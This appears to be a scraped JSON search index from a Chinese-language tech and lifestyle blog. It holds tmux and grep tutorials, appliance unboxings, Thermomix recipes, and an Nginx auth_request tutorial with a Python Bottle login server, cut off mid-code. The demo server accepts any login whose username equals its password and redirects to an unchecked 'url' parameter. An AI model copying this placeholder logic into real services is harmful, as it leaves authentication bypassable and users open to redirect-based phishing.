編號以及正在執行的程式名稱，目前所處的 windows 會以星號（*）標示，以這個例子來說目前就是處於編號 2 的 window 中，正在執行 top 程式。\n每一個 window 視窗都可以分割成多個 panes，每一個 pane 都是各自獨立的 shell，可以個別進行不同的工作，例如一邊使用 Vim 寫程式，另外一邊在 shell 中編譯、執行程式等。\nPanes（分割視窗） 在 tmux 的環境中，若想要將 window 視窗分割成多個 pane，並管理建立的 panes，可以使用以下的操作組合鍵：\n組合鍵 說明 Ctrl+b 再輸入 % 垂直分割視窗。 Ctrl+b 再輸入 \u0026quot; 水平分割視窗。 Ctrl+b 再輸入 o 以輪流方式輪流切換 pane。 Ctrl+b 再輸入 方向鍵 切換至指定方向的 pane。 Ctrl+b 再輸入 空白鍵 切換佈局。 Ctrl+b 再輸入 ! 將目前的 pane 抽出來，獨立建立一個 window 視窗。 Ctrl+b 再輸入 x 關閉目前的 pane。 Windows 若要建立與管理多個 windows 視窗，可以使用以下的操作組合鍵：\n組合鍵 說明 Ctrl+b 再輸入 c 建立新 window 視窗（create）。 Ctrl+b 再輸入 w 以視覺化選單切換 window 視窗（很好用）。 Ctrl+b 再輸入 n 切換至下一個 window 視窗（next）。 Ctrl+b 再輸入 p 切換至上一個 window 視窗（previous）。 Ctrl+b 再輸入 數字鍵 切換至指定的 window 視窗。 Ctrl+b 再輸入 \u0026amp; 關閉目前的 window 視窗。 在切換視窗時，如果不清楚每個視窗的內容，非常推薦使用 Ctrl+b 再輸入 w 的方式，以選單配合預覽的方式選擇視窗。\nSessions 每執行一個 tmux 就會建立一個 session，若要列出目前所有的 sessions，可以執行：\n# 列出所有 Sessions tmux ls 0: 5 windows (created Wed Dec 4 10:02:22 2019) 1: 1 windows (created Wed Dec 4 10:12:14 2019) 若要繼續使用指定的 session，可以使用 attach 並指定要續用的 session 編號：\n# 繼續使用第 0 個 Sessions tmux attach -t 0 而在 tmux 環境下，可以利用以下的操作組合鍵來操作 sessions：\n組合鍵 說明 Ctrl+b 再輸入 $ 重新命名目前的 session。 Ctrl+b 再輸入 d 分離目前的 session（detach），離開 tmux 環境。 Ctrl+b 再輸入 s 以視覺化選單切換 session（select，很好用）。 Ctrl+b 再輸入 L 切換至上一個使用過的 session。 Ctrl+b 再輸入 ( 切換至上一個 session。 Ctrl+b 再輸入 ) 切換至下一個 session。 在 tmux 環境之下切換 session 的時候，使用 Ctrl+b 再輸入 s 的方式，可以快速預覽每個 session 並選擇需要的 session。\n搜尋功能 組合鍵 說明 Ctrl+b 再輸入 f 在所有 window 視窗中搜尋關鍵字（很好用）。 搜尋功能是一項很好用的功能，他可以讓我們在多 window 視窗中搜尋指定的關鍵字，並以選單方式呈現搜尋結果：\ntmux 還有很多進階的功能，詳細的用法可以參考 tmux 的線上手冊：\nman tmux ","permalink":"https://blog.gtwang.org/linux/linux-tmux-terminal-multiplexer-tutorial/","summary":"\u003cp\u003e本篇介紹如何在 Linux 中使用 \u003ccode\u003etmux\u003c/code\u003e 終端機管理工具，分割視窗、同時開啟多個終端機。\u003c/p\u003e\n\u003cp\u003e傳統上在 Linux 中最常見的終端機管理程式是 \u003ca href=\"/linux/screen-command-examples-to-manage-linux-terminals/\"\u003escreen\u003c/a\u003e，而後來又發展出 \u003ccode\u003etmux\u003c/code\u003e 這個新的終端機管理工具，其功能更多，使用起來更方便。\u003c/p\u003e","title":"Linux tmux 終端機管理工具使用教學"},{"content":"本篇是小米有品極蜂雙筒望遠鏡的簡單開箱文。\n這週我上網買了一支小米有品的極蜂雙筒望遠鏡，官方網站的定價是 289 人民幣（折合台幣約 1,255），但是台灣沒辦法直接買，而 momo 購物網站上的價格是 2,010 元，最後我在蝦皮上找到最低的價格是 1,450 元，加上運費 60 元之後，這次的入手價格為 1,510 元。\n這是收到的包裹，包裝還滿精緻的。\n打開外箱，最上面有一張商品明細與一張發票。\n下面這一盒就是極蜂雙筒望遠鏡。\n盒子感覺不大。\n這是盒子背面的規格表，放大率為 8，物鏡孔徑為 32mm，還有 IP67 等級的防水，重量是 509 公克。\n開箱。\n這些就是望遠鏡與所有配件，配件包含背帶、布袋、試鏡布與說明書。\n這就是極蜂雙筒望遠鏡。\n側邊的孔可用來繫背帶。\n這是目鏡與目鏡蓋。\n這是物鏡與物鏡蓋。\n物鏡蓋也可以整個拆下來。\n這是把目鏡蓋與物鏡蓋都拆掉的樣子。\n這是望遠鏡底部的樣子。\n望遠鏡可以往下折，調整瞳距（兩眼之間的距離）。\n這是背帶。\n背帶的品質很不錯。\n這是背帶的另外一面。\n這是試鏡布以及束口布袋。\n接下來要測試一下望遠鏡，以下這張是實景的照片。\n而在望遠鏡中看到的畫面會像這樣，這是我拿手機對著望遠鏡的目鏡直接拍攝的，拍的不是很好，大概參考一下就好，實際上看的效果會比這個更好一些。\n這是另外一張實景照片。\n使用望遠鏡看的畫面會像這樣。\n這一支望遠鏡是專門買給阿玄的，在這之前阿玄有兩支望遠鏡，第一支是幾十塊錢買的玩具望遠鏡，而第二支是別人淘汰下來不用的望遠鏡，阿玄都非常喜歡看，在確定他非常喜歡使用望遠鏡之後，這次就直接給它買一支好一點的，可以看的更清楚一些。\n望遠鏡的品牌很多，價格也差很多，小朋友當然就不要買太貴的，但是希望他可以時常使用，所以品質也不能太差，我感覺這一支小米有品極蜂雙筒望遠鏡只要一千五左右，品質與價格都不錯，重點是他有 IP67 等級的防水（阿玄之前把舊的望遠鏡放在陽台忘記收，結果就淋了一夜的雨水，放在防潮箱一兩週才乾），很適合小朋友使用。\n阿玄非常喜歡觀察鳥類，之前給他一台單眼相機，拍了許多鳥類照片，還製作成明信片，這次有了這支望遠鏡，可以隨時帶在身上，想看就可以看，心情非常好。\n小朋友如果喜歡賞鳥的話，對眼睛非常好，可同時多看遠處以及綠色的植物，阿玄之前有假性近視，後來給他單眼相機時常去拍鳥，對鳥類產生興趣之後，出門都會習慣看外面的鳥類，現在假性近視的狀況改善很多，給他買好的望遠鏡也是希望他可以常看遠方，保護眼睛、預防近視。\n","permalink":"https://blog.gtwang.org/unboxing/xiaomiyoupin-binoculars-20191201/","summary":"\u003cp\u003e本篇是小米有品極蜂雙筒望遠鏡的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e這週我上網買了一支小米有品的\u003ca href=\"https://www.xiaomiyoupin.com/detail?gid=102835\u0026amp;spmref=YouPinPC.$undefined$.search_list.4.21811694\"\u003e極蜂雙筒望遠鏡\u003c/a\u003e，官方網站的定價是 289 人民幣（折合台幣約 1,255），但是台灣沒辦法直接買，而 momo 購物網站上的價格是 2,010 元，最後我在蝦皮上找到最低的價格是 1,450 元，加上運費 60 元之後，這次的入手價格為 1,510 元。\u003c/p\u003e","title":"[開箱] 小米有品極蜂雙筒望遠鏡"},{"content":"本篇記錄我今天用美善品料理機，自己製作奶油紅豆沙餡料的過程。\n紅豆沙餡是一種很常用的餡料，可用來製作紅豆麵包、銅鑼燒、月餅、紅豆餅、紅豆包子等，因為製作紅豆沙餡需要一些時間，通常都是一次做多一點，冷藏起來備用。\n以下是我用美善品料理機自己製作奶油紅豆沙餡料的過程，詳細的配方可以從美善品官方的食譜美善品線上雲端食譜 Cookidoo 註冊教學上查到。\nStep 1\n將紅豆預先泡水 4 小時，中間換一次水以去除澀味。然後將泡過水的紅豆到入主鍋。\n加入水，進行第一次烹煮。\n這是第一次烹煮完畢的樣子。\nStep 2\n將水分瀝乾，只留下紅豆。（紅豆水在這裡沒有用，可以留起來喝）\n將瀝乾的紅豆倒回主鍋。\nStep 3\n加入清水，繼續第二次烹煮。\n這是第二次烹煮完畢的樣子。\nStep 4\n再次將水分瀝乾，只留下紅豆。\n將瀝乾的紅豆倒回主鍋。\nStep 5\n加入砂糖，如果不想吃太甜的人，砂糖可以少放一些，然後進行攪拌混合。\n這是混合砂糖後的樣子。\nStep 6\n加入一些奶油，如果不吃奶油的人，可以改用椰子油或其他植物油代替奶油。\n加入一些麥芽糖，然後進行攪拌混合。\n這樣就完成奶油紅豆沙餡料了。\n製作好的奶油紅豆沙餡料可以等他冷卻之後，放進冰箱冷藏備用。\n這是我用了大約半斤多一點的紅豆，製作出來的奶油紅豆沙餡料，我感覺味道非常好，接下來就可以拿它來製作紅豆包子了。\n","permalink":"https://blog.gtwang.org/diy/thermomix-creamy-red-bean-paste-20191201/","summary":"\u003cp\u003e本篇記錄我今天用美善品料理機，自己製作奶油紅豆沙餡料的過程。\u003c/p\u003e\n\u003cp\u003e紅豆沙餡是一種很常用的餡料，可用來製作紅豆麵包、銅鑼燒、月餅、紅豆餅、紅豆包子等，因為製作紅豆沙餡需要一些時間，通常都是一次做多一點，冷藏起來備用。\u003c/p\u003e","title":"[美善品] 奶油紅豆沙餡料製作記錄"},{"content":"本篇是 Kaiser 威寶 42 公升頂級電子觸控烤箱 KH-42D 的簡單開箱文。\n兩年前我買了一台國際牌 NB-H3200 烤箱，當時因為比較少用所以送人了，而現在買了一台美善品料理機之後，做烘培的東西變得非常方便，每週末都自己做披薩來吃，有時候也會做餅乾，感覺現在手上的 unopan 無油空氣油炸烤箱實在是太小了，所以趁雙 11 促銷檔期，又買了一台威寶的 KH-42D 烤箱。\nKaiser 威寶 KH-42D 電子觸控烤箱的容量是 42 公升，以一般家庭用來說，這個大小已經算是非常大了，它的價格平常大約在八千多左右（PChome 與 momo 都賣 8,990 元），而今年雙 11　特價的時候，直接降價 3000 元，只賣 5,990 元，原本我沒有打算買這麼大的烤箱，不過看它實在是很便宜，所以就直接買了。\n我 11/14 晚上在 momo 下訂之後過三天就收到貨了，出貨與貨運的速度很快。雖然已經知道它很大台，收到包裹得時候還是吃了一驚，好大一箱，一個人要搬都不是很好搬。\n打開外箱。\n這是黑色的烤盤。\n這是烤箱的說明書，內容很簡略。\n這是兩張烤網以及烤架。\n這是取烤架的手把。\n取出烤箱。\n這就是 42 公升的 Kaiser 威寶頂級大廚全功能烤箱。\n操作面板完全都是觸控式，表面非常好清理。\n機身外殼都是 304 食品級不鏽鋼材質。\n後方有突出來一小塊。\n這是烤箱背面的樣子。\n這是烤箱的規格，額定功率為 1500 瓦。\n烤箱側邊底部有一條接地線。\n烤箱的門有兩段，可以開一小縫，或是全開。\n這是烤箱內部的樣子，42 公升真的非常大。\n這是烤箱的循環風扇。\n烤箱上下火可分開調整，側邊有照明燈。\n這是放入烤盤與一張烤網的樣子。\n以往我在烤披薩的時候，時常因為披薩底部溫度不夠，烤出來的餅皮都溼溼軟軟的，所以這次就一起買了一片烘培石板。\n烘培石板通常都要搭配披薩鏟，將披薩直接放在預熱好的石板上烤。\n42 公升的 Kaiser 威寶頂級大廚全功能烤箱搭配長寬 40 * 30 公分的石板剛剛好。\n開機之後，面板就會顯示所有的功能，可以手動設定時間、上下火溫度、旋風等功能，或是直接使用快速的土司、披薩、發酵或解凍模式。\n這是選擇土司模式時的設定值，按下開始按鈕就可以直接烤了。\n","permalink":"https://blog.gtwang.org/unboxing/kaiser-kh-42d-convection-rotisserie-oven/","summary":"\u003cp\u003e本篇是 Kaiser 威寶 42 公升頂級電子觸控烤箱 KH-42D 的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e兩年前我買了一台\u003ca href=\"/unboxing/panasonic-nb-h3200-electric-oven-32liter/\"\u003e國際牌 NB-H3200 烤箱\u003c/a\u003e，當時因為比較少用所以送人了，而現在買了一台\u003ca href=\"/unboxing/thermomix-food-processor-tm5-unboxing-20191026/\"\u003e美善品料理機\u003c/a\u003e之後，做烘培的東西變得非常方便，每週末都自己做披薩來吃，有時候也會做\u003ca href=\"/diy/thermomix-chocolate-chip-cookies-20191110/\"\u003e餅乾\u003c/a\u003e，感覺現在手上的 \u003ca href=\"/unboxing/unopan-roaster-14l-red/\"\u003eunopan 無油空氣油炸烤箱\u003c/a\u003e實在是太小了，所以趁雙 11 促銷檔期，又買了一台威寶的 KH-42D 烤箱。\u003c/p\u003e","title":"[開箱] Kaiser 威寶頂級大廚電子觸控全功能烤箱 KH-42D"},{"content":"本篇記錄我今天用美善品料理機，自己製作巧克力脆片餅乾的過程。\n阿玄在均頭國小每週都有小朋友聚會的時間，可以帶一些零食去吃，但是我又不想買外面的零食，所以這週打算自己用美善品料理機自己做一些巧克力脆片餅乾給阿玄帶去學校。\n這次我是依照美善品官方的食譜來製作的，材料有麵粉、糖、鹽、蛋、奶油、小蘇打粉、泡打粉，還有最重要的巧克力，所有這些材料都可以在全聯買到。奶油我用安佳的，巧克力我是選 75% 的這一款，其餘的大概也不太需要選擇。\n以下就是製作的過程記錄。\nStep 1\n加入巧克力，將其打成巧克力脆片。\n這是打好的巧克力脆片。\n倒出來備用。\nStep 2\n把整塊的安佳奶油切小塊後加入主鍋。\n再加入砂糖、黑糖、蛋，然後混合。\nStep 3\n加入低筋麵粉、小蘇打、泡打粉、鹽，然後混合。\nStep 4\n加入巧克力碎片，然後混合。\nStep 5\n將混合好的麵糊，以湯匙整形成小塊放在烤盤中，放進烤箱烤用 180 度烤 12 分鐘。\n這樣就完成巧克力脆片餅乾了。剛出爐的餅乾很燙，要等它冷卻才比較好吃。\n這是第二盤。\n這是第三盤。\n烤出來的巧克力脆片餅乾口感很不錯，因為自己做用料比較好，所以比外面賣的好吃。\n烤好的餅乾，等完全冷卻之後，就可以裝起來了，這一盒今天就是要給阿玄帶去學校吃的。\n","permalink":"https://blog.gtwang.org/diy/thermomix-chocolate-chip-cookies-20191110/","summary":"\u003cp\u003e本篇記錄我今天用美善品料理機，自己製作巧克力脆片餅乾的過程。\u003c/p\u003e\n\u003cp\u003e阿玄在均頭國小每週都有小朋友聚會的時間，可以帶一些零食去吃，但是我又不想買外面的零食，所以這週打算自己用\u003ca href=\"/unboxing/thermomix-food-processor-tm5-unboxing-20191026/\"\u003e美善品料理機\u003c/a\u003e自己做一些巧克力脆片餅乾給阿玄帶去學校。\u003c/p\u003e","title":"[美善品] 巧克力脆片餅乾製作記錄"},{"content":"本篇記錄今天中午用美善品料理機，現做咖哩飯當午餐的過程。\n最近假日中午都用美善品料理機來煮午餐，咖哩飯是最常做的料理之一，以下是今天製作咖哩飯的過程紀錄。\n這裡的咖哩飯是參考美善品官方食譜的蔬菜咖哩，不過官方的版本是葷的（有加洋蔥），這裡我把洋蔥拿掉，做成素食的咖哩飯。\n食材 首先準備食材，將南瓜、馬鈴薯、蘋果、胡蘿蔔切塊備用。\n準備一大匙咖哩粉、一些咖哩塊備用，如果想要讓咖哩醬濃稠一些，咖哩塊就用多一些。\n製作過程 以下是利用美善品料理機製作咖哩醬的過程。 Step 1\n加入油、咖哩粉爆香。\n這是爆香好的油與咖哩粉。\nStep 2\n加入胡蘿蔔、馬鈴薯拌炒一下。\n這是拌炒好的胡蘿蔔、馬鈴薯。\nStep 3\n加入一些水、南瓜繼續烹煮。\nStep 4\n將咖哩塊切碎。\nStep 5\n加入切碎之後的咖哩塊，繼續烹煮。\nStep 6\n最後放入蘋果還有熟的毛豆仁（如果是生的，就要提早一點放），再煮一下。\nStep 7\n這樣就完成了素食的咖哩醬。\nStep 8\n盛一碗飯，倒扣在盤子上，淋上咖哩醬，配上兩塊滷豆干。\nStep 9\n再撒上幾粒芝麻，這樣就完成一道專業的咖哩飯了。\n這是阿玄吃咖哩飯的樣子。\n","permalink":"https://blog.gtwang.org/diy/thermomix-curry-rice-20191109/","summary":"\u003cp\u003e本篇記錄今天中午用美善品料理機，現做咖哩飯當午餐的過程。\u003c/p\u003e\n\u003cp\u003e最近假日中午都用\u003ca href=\"/unboxing/thermomix-food-processor-tm5-unboxing-20191026/\"\u003e美善品料理機\u003c/a\u003e來煮午餐，咖哩飯是最常做的料理之一，以下是今天製作咖哩飯的過程紀錄。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e這裡的咖哩飯是參考\u003ca href=\"/unboxing/thermomix-cookidoo-online-cookbook-registration-tutorial-20191019/\"\u003e美善品官方食譜\u003c/a\u003e的蔬菜咖哩，不過官方的版本是葷的（有加洋蔥），這裡我把洋蔥拿掉，做成素食的咖哩飯。\u003c/p\u003e\n\u003ch2 id=\"食材\"\u003e食材\u003c/h2\u003e\n\u003cp\u003e首先準備食材，將南瓜、馬鈴薯、蘋果、胡蘿蔔切塊備用。\u003c/p\u003e","title":"[美善品] 咖哩飯製作記錄"},{"content":"本篇記錄今天早上用美善品料理機，現做黑糖饅頭與黑豆漿當早餐的過程。\n今天早上六點多決定用美善品料理機做黑糖饅頭加上黑豆漿當早餐，以下是現做的過程，中間因為阿玄肚子餓、急著要吃了，所以饅頭沒等它發起來就拿去蒸了，不過還是很好吃。\n這裡的黑糖饅頭與黑豆漿都是按照美善品官方的線上食譜操作的，想看詳細食譜的話，可以去美善品食譜網站上查詢。\nStep 1\n加入水、黑糖、酵母粉。\nStep 2\n混合水、黑糖、酵母粉。\nStep 3\n加入中筋麵粉、鹽、油。\nStep 4\n用美善品揉麵團模式，揉出麵團。\nStep 5\n把麵團拿出來之後，整理一下放在盤子裡，放進電鍋（冬天可用保溫）等它發酵。\nStep 6\n準備泡好水的黑豆。\nStep 7\n將煮鍋稍微洗過之後，加入水、黑豆。\nStep 8\n這個麵團應該要等它發酵至兩倍大，不過阿玄已經肚子餓了，所以就不等了。\nStep 9\n將麵團切成小塊。\nStep 10\n將蒸鍋鋪上料理紙，放入麵糰。\nStep 11\n把切好的麵團放進蒸鍋中，再等它發酵一下，不過我也沒時間等，這一步如果再等久一點，饅頭會更發。\nStep 12\n讓美善品在煮豆漿的同時，調整至 VAROMA 蒸氣模式，把饅頭放在上面蒸。\nStep 13\n饅頭大約蒸個十幾分鐘就好了，蒸好的饅頭就可以先吃了。\nStep 14\n等黑豆漿主好之後，就完成了。\n這就是今天的早餐，我早上從六點半開始做，饅頭大約在八點左右完成，就先給阿玄吃，而黑豆漿則是在八點十五完成。\n雖然饅頭沒有很發，吃起來口感比較紮實，不過也還不錯，因為自己用的是有機麵粉，加上有機椰子油，阿玄一連吃了三四個。\n下面這張是阿玄自己拍的照片。\n後記 隔天我又再做了一次饅頭，這次提早起床，有讓饅頭發起來再蒸，結果很成功。這一次我發現自己冰箱裡有芝麻粉與米糠粉，所以再加麵粉的時候，順便加入了一大匙米糠，還有兩大匙芝麻粉，做成米糠芝麻饅頭。\n因為我早上同時要用美善品做巧克力脆片餅乾，所以打完麵團之後，就用一般的蒸鍋來蒸饅頭，大火蒸 12 到 15 分鐘左右，成果非常棒。\n這一次有讓饅頭有時間發一下，這樣蒸起來就很成功。\n","permalink":"https://blog.gtwang.org/diy/thermomix-brown-sugar-steamed-bread-black-soy-milk-breakfast-20191109/","summary":"\u003cp\u003e本篇記錄今天早上用美善品料理機，現做黑糖饅頭與黑豆漿當早餐的過程。\u003c/p\u003e\n\u003cp\u003e今天早上六點多決定用\u003ca href=\"/unboxing/thermomix-food-processor-tm5-unboxing-20191026/\"\u003e美善品料理機\u003c/a\u003e做黑糖饅頭加上黑豆漿當早餐，以下是現做的過程，中間因為阿玄肚子餓、急著要吃了，所以饅頭沒等它發起來就拿去蒸了，不過還是很好吃。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e這裡的黑糖饅頭與黑豆漿都是按照美善品官方的線上食譜操作的，想看詳細食譜的話，可以去\u003ca href=\"/unboxing/thermomix-cookidoo-online-cookbook-registration-tutorial-20191019/\"\u003e美善品食譜網站\u003c/a\u003e上查詢。\u003c/p\u003e","title":"[美善品] 黑糖饅頭、黑豆漿早餐製作記錄"},{"content":"本篇介紹如何使用 Linux 的 grep 指令，根據關鍵字或正規表示法找出想要的資料。\nLinux 的 grep 是一個很好用的指令，可以從串流資料或檔案中，使用關鍵字或正規表示法（regular expression）篩選出想要尋找的資料，並且顯示出來，以下是 grep 的用法教學以及實際範例。\ngrep 這個指令名稱其實是來自於正規表示法的 g/RE/p，其意義是代表以正規表示法全域搜尋並列印出來（globally search for RE and print it）。\n搜尋關鍵字 grep 最基本的用法就是以普通的關鍵字來搜尋，其基本語法如下：\ngrep 關鍵字 檔案1 檔案2 ... 例如在 /etc/os-release 檔案中搜尋 Ubuntu 關鍵字：\n# 在 /etc/os-release 檔案中搜尋 Ubuntu 關鍵字 grep Ubuntu /etc/os-release NAME=\"Ubuntu\" PRETTY_NAME=\"Ubuntu 18.04.3 LTS\" 執行的結果會列出所有含有關鍵字的整行文字。\ngrep 亦可搭配萬用字元（*）同時搜尋多個檔案，例如在 /etc/ 目錄之下所有 *.conf 檔案中，尋找 network 這個字眼：\n# 在 /etc/*.conf 中搜尋 network 關鍵字 grep network /etc/*.conf ltrace.conf:hex(uint) inet_network(string); nsswitch.conf:networks: files sysctl.conf:# Additional settings - these settings can improve the network sysctl.conf:# security of the host and prevent against some network attacks sysctl.conf:# redirection. Some network environments, however, require that these 搜尋多個檔案時，在輸出中會標示資料來源是哪一個檔案。\n除了搜尋檔案內容之外，亦可搭配管線（pipe）篩選串流資料，例如篩選出含有 network 關鍵字的檔案名稱：\n# 篩選含有 network 關鍵字的檔案名稱 ls /etc/ | grep network network networkd-dispatcher networks 不分大小寫 grep 預設會區分字母的大小寫，如果希望以不分大小寫的方式搜尋，可以加上 -i 參數：\n# 不分大小寫 grep -i Ubuntu /etc/os-release 標示行號 若要標示匹配文字的行號，可以加上 -n 參數：\n# 標示行號 grep -n Ubuntu /etc/os-release 1:NAME=\"Ubuntu\" 5:PRETTY_NAME=\"Ubuntu 18.04.3 LTS\" 反向匹配 若想要將匹配的資料排除，只顯示出沒有關鍵字的那幾行資料，可以加上 -v 參數。例如顯示不包含 Ubuntu 關鍵字的那幾行：\n# 顯示不包含 Ubuntu 關鍵字的行 grep -v Ubuntu /etc/os-release 遞迴搜尋檔案 如果想要在指定目錄與其子目錄下所有的檔案中，搜尋指定的關鍵字，可以加上 -r 參數：\n# 在 /etc/ 下所有檔案中搜尋 ubuntu grep -r ubuntu /etc/ 如果只想要從特定的檔案中尋找關鍵字，可以使用 -r 搭配 --include 指定檔案類型：\n# 在所有 *.conf 中尋找 ubuntu grep -r --include=\u0026#34;*.conf\u0026#34; ubuntu /etc/ 如果自己的權限沒辦法讀取所有的檔案，就會出現某些檔案無法讀取的錯誤訊息，這時候可以將這種錯誤訊息導向 /dev/null，只看正常訊息就好：\n# 不顯示錯誤訊息 grep -r ubuntu /etc/ 2\u0026gt;/dev/null 顯示前後幾行 有時候只顯示匹配成功那一行，不容易看出是否是我們想要找的資料，這時候可以加上 -A（After）、-B（Before）或-C（Context），指定要顯示的前後行數：\n# 多顯示後一行 grep -A 1 Ubuntu /etc/os-release # 多顯示前一行 grep -B 1 Ubuntu /etc/os-release # 多顯示前後各一行 grep -C 1 Ubuntu /etc/os-release 顏色標示 grep 可以使用顏色標示的方式，將成功匹配的部分文字標示出來，方便使用者閱讀。顏色標示功能可以透過 --color=never、--color=always、--color=auto 這幾種參數來關閉、開啟或設為自動。開啟顏色標示的輸出會像這樣：\n正規表示法 grep 在搜尋關鍵字時，其實是以正規表示法的方式匹配文字的，所以一般的正規表示法都可以直接使用，以下是一些常用的範例。開頭與結尾是最常用的：\n# a 開頭 ls | grep \u0026#34;^a\u0026#34; # b 結尾 ls | grep \u0026#34;b$\u0026#34; # a 或 b 開頭 ls | grep \u0026#34;^[ab]\u0026#34; # a 或 b 結尾 ls | grep \u0026#34;[ab]$\u0026#34; 各種出現次數的指定：\n# a 開頭，接著 b 出現零次以上 ls | grep \u0026#34;^ab*\u0026#34; # a 開頭，接著 b 出現零次或一次 ls | grep \u0026#34;^ab?\u0026#34; # a 開頭，接著 b 出現一次以上 ls | grep \u0026#34;^ab+\u0026#34; 多種字眼的組合，也很常用：\n# 含有 ab 或 cd ls | grep \u0026#34;ab|cd\u0026#34; # 含有 ab 或 cd（另一種寫法，作用相同） ls | grep -E \u0026#34;ab|cd\u0026#34; 如果只想要精準篩選出 net 這個單字，可以這樣寫：\n# 含有 net 這個單字 ls | grep \u0026#34;\u0026lt;net\u0026gt;\u0026#34; issue.net 這樣就只會出現含有 net 這一個單字的結果，像是 network 這樣的字眼就會被排除。\n參考資料 鳥哥的 Linux 私房菜 ","permalink":"https://blog.gtwang.org/linux/linux-grep-command-tutorial-examples/","summary":"\u003cp\u003e本篇介紹如何使用 Linux 的 \u003ccode\u003egrep\u003c/code\u003e 指令，根據關鍵字或正規表示法找出想要的資料。\u003c/p\u003e\n\u003cp\u003eLinux 的 \u003ccode\u003egrep\u003c/code\u003e 是一個很好用的指令，可以從串流資料或檔案中，使用關鍵字或正規表示法（regular expression）篩選出想要尋找的資料，並且顯示出來，以下是 \u003ccode\u003egrep\u003c/code\u003e 的用法教學以及實際範例。\u003c/p\u003e","title":"Linux 匹配文字 grep 指令用法教學與範例"},{"content":"本篇介紹如何使用 Nginx 的 auth_request 模組，透過自己撰寫的指令稿檢查使用者的帳號與密碼。\n若想限制網頁只給登入的使用者瀏覽的話，除了使用 Nginx 基本的帳號密碼認證（auth_basic）之外，也可以自己撰寫認證用的指令稿，自己設計帳號密碼的檢查方式，以下是簡單的教學與示範。\n檢查 Nginx auth_request 模組 先確認 Nginx 伺服器在編譯時有納入 auth_request 模組：\n# 確認 Nginx 有支援 auth_request nginx -V 2\u0026gt;\u0026amp;1 | grep -- \u0026#39;http_auth_request_module\u0026#39; 在輸出中應該會含有 --with-http_auth_request_module 這個選項，若沒有出現，就必須重新編譯 Nginx 並啟用該選項。\n設定 Nginx 編輯 Nginx 伺服器的設定檔案，加入一些 auth_request 相關的設定：\nserver { #... # 需要保護的網頁位置 location /private/ { # 使用者認證用網址 auth_request /auth; # 自行定義 401 網頁，導向至登入頁面 error_page 401 = @error401; # 當認證結束後，從 subrequest 中取得資訊儲存於變數中（選用） # auth_request_set $auth_status $upstream_status; # auth_request_set $username $upstream_http_x_username; # auth_request_set $sid $upstream_http_x_session; } # 認證用內部網址 location = /auth { # 設定為內部使用 internal; # 實際驗證用的伺服器 proxy_pass http://localhost:18000/auth; # 丟棄請求的內容，僅保留標頭資訊 proxy_pass_request_body off; proxy_set_header Content-Length \u0026#34;\u0026#34;; # 傳遞認證用的標頭資訊（選用） proxy_set_header X-Original-URI $request_uri; # proxy_set_header Host $host; # proxy_set_header X-Forwarded-Host $host; } # 將 401 導向至登入頁面 location @error401 { return 302 https://$host/login/?url=https://$http_host$request_uri; } # 登入頁面 location /login/ { # 實際登入頁面 proxy_pass http://localhost:18000/login/; # 傳遞登入頁面所使用的標頭資訊（選用） # proxy_set_header X-Client-IP $remote_addr; # proxy_set_header X-Client-Port $remote_port; # proxy_set_header X-Server-Port $server_port; } } 其中 /private/ 是需要保護的網頁（登入後才能觀看），而我們以 auth_request 設定使用者認證用的網址為 /auth，接著再設定 /auth 後方所對應到的實際認證伺服器。\n當使用者認證失敗時，認證伺服器會傳回 HTTP 401 的回應，這裡我們設定將 HTTP 401 重新導向至 /login/ 登入頁面，並且設定讓 /login/ 這個頁面導向至後方的認證伺服器，進行實際登入動作。\n撰寫認證伺服器 上面敘述的只是 Nginx 網頁伺服器的設定，實際運作時還要搭配後方的認證伺服器，而認證伺服器就是普通的網頁伺服器，Nginx 會根據其回應的 HTTP 代碼來判斷認證是否成功，HTTP 2xx 代表認證成功，HTTP 401 或 403 則代表認證失敗。\n這裡我們使用 Python 自行撰寫一個認證伺服器指令稿，內容如下：\n#/usr/bin/env python from bottle import route, run, request, response, abort, redirect import sys import uuid SIGNATURE = uuid.uuid4().hex COOKIE = \u0026#39;my-auth-sid\u0026#39; sessions = {} # 檢查帳號密碼 def check_login(username, password): # TODO: 請更換檢查方法 if username == password: return True return False # 檢查 Session 是否已存在 def is_active_session(): sid = request.get_cookie(COOKIE, secret=SIGNATURE) if not sid: return None if sid in sessions: return sid else: return None # 登入頁面 @route(\u0026#39;/login/\u0026#39;, method=\u0026#39;GET\u0026#39;) def user_login(): sid = is_active_session() if sid: return \u0026#39;已登入：%s\u0026#39; % sessions[sid] return \u0026#39;\u0026#39;\u0026#39; \u0026lt;form method=\u0026#34;post\u0026#34;\u0026gt; 帳號：\u0026lt;input name=\u0026#34;username\u0026#34; type=\u0026#34;text\u0026#34; /\u0026gt;\u0026lt;br/\u0026gt; 密碼：\u0026lt;input name=\u0026#34;password\u0026#34; type=\u0026#34;password\u0026#34; /\u0026gt;\u0026lt;br/\u0026gt; \u0026lt;input value=\u0026#34;登入\u0026#34; type=\u0026#34;submit\u0026#34; /\u0026gt; \u0026lt;/form\u0026gt;\u0026#39;\u0026#39;\u0026#39; # 接收登入資訊，進行認證 @route(\u0026#39;/login/\u0026#39;, method=\u0026#39;POST\u0026#39;) def do_login(): username = request.forms.get(\u0026#39;username\u0026#39;) password = request.forms.get(\u0026#39;password\u0026#39;) if \u0026#39;url\u0026#39; in request.query: url = request.query.url else: url = None if check_login(username, password): sid = uuid.uuid4().hex sessions[sid] = username response.set_cookie(COOKIE, sid, secret=SIGNATURE, path=\u0026#34;/\u0026#34;, httponly=True) if url: redirect(url) else: return \u0026#34;歡迎 %s 登入！\u0026#34; % username else: return \u0026#34;登入失敗。\u0026#34; def show_headers(): import pprint hdrs = 